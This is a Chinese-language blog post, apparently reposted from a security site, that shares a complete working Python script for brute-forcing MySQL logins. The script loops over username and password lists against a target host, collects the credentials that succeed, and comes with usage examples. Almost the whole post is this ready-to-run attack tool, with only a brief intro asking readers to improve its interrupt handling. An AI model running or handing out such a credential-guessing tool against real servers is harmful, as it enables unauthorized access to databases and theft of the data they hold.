[Python]MySQL暴力破解工具单线程版

独自等待 2017年5月12日02:42:24评论520 views字数 2158阅读7分11秒阅读模式

之前写了一个python ftp暴力破解工具,发到习科上面了,结果好多人说要我写一个mysql和mssql的工具,最近实在忙一直没有时间写,昨天晚上折腾了一个单线程版本的,先发出来给大家玩一下,这个工具在键盘中止异常方面处理的有问题,不知道是怎么回事,老是捕获不了ctrl+c异常,希望哪位兄弟帮我改进一下。。。

代码写的比较简洁,文件读取部分异常处理没有写,所以在使用本工具前,请确保脚本同目录下存在user.txt,pass.txt两个文件

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/10
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re, socket, time

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()

def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具单线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-11-10'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn  3306  test user.txt pass.txt"
        sys.exit()


def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '大爷,按您的吩咐,已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        # print '未知错误大爷:', msg
        pass
    finally:
        if db:
            db.close()


if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密  码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []
    for x in userlist:
        for j in passlist:
            mysql_brute(x, j)
    if len(result) != 0:
        print '[+] 恭喜大爷,MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] 杯具了大爷,MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

用法: mysqlbrute.py 待破解的ip/domain 端口 数据库 用户名列表 密码列表
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:42:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Python]MySQL暴力破解工具单线程版http://cn-sec.com/archives/50413.html

发表评论

匿名网友 填写信息